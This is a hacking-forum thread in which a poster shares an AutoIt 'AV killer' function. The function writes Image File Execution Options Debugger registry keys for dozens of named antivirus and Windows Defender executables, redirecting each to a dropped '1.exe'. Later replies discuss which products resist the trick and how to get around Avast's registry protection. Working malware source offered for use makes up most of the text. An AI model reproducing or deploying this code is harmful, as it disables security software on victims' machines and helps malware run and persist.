[๒lคςк ςคt]

so i coded a unique func whats kill all av over the regedt (image file execute Options)
here is the code:
Spoiler (Click to View)

Code

func _avKill()
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgamsvr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgupsvc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgw.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcc32.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9schedapp.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgemc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashwebsv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashdisp.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashmaisv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashserv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswUpdSv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\symwsc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\norton.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Norton Auto-Protect.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\norton_av.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nortonav.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsetmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccevtmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avadmin.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnt.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avguard.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avnotify.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32krn.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32kui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamscan.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamTray.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamWin.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\freshclam.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\oladdin.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sigtool.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\w9xpopen.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wclose.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmgrdian.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\alogserv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vshwin32.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconsol.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsstat.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avsynmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcmd.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\licmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\preupd.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")


   EndFunc

dont ask for help if you dont know how use it

[Bяαiиiαc™]

Good job, but not found with Avast.

//Thanks.

[๒lคςк ςคt]

Good job, but not found with Avast.

//Thanks.

send me the process name from avast i will add it (you can add it too)

[Bяαiиiαc™]

"AvastUI.exe" But it has protection to write on the register if the antivirus is installed.

PD: Sorry for my bad english.

//Regards.

[๒lคςк ςคt]

"AvastUI.exe" But it has protection to write on the register if the antivirus is installed.

PD: Sorry for my bad english.

//Regards.

are you german ?
and does it protect the regestry ?
may kill it first and then add it to regestry

[Bяαiиiαc™]

are you german ?
and does it protect the regestry ?
may kill it first and then add it to regestry

No, I'm spanish. Yes. You cannot kill it, need Ring0.

//Regards.

[labbepierre]

thank you for share your job dude !!

[zelles]

Nice work putting together that list!

[Complexious]

Nice job! Does this kill all of the popular AVs, or are there still some that don't get killed? I saw someone say it doesn't work for Avast, is that fixed yet?

[๒lคςк ςคt]

Nice job! Does this kill all of the popular AVs, or are there still some that don't get killed? I saw someone say it doesn't work for Avast, is that fixed yet?

Some avs dont work because they protect the registy
but with some google you know how to kill avast
i may realese a new source
thats kill all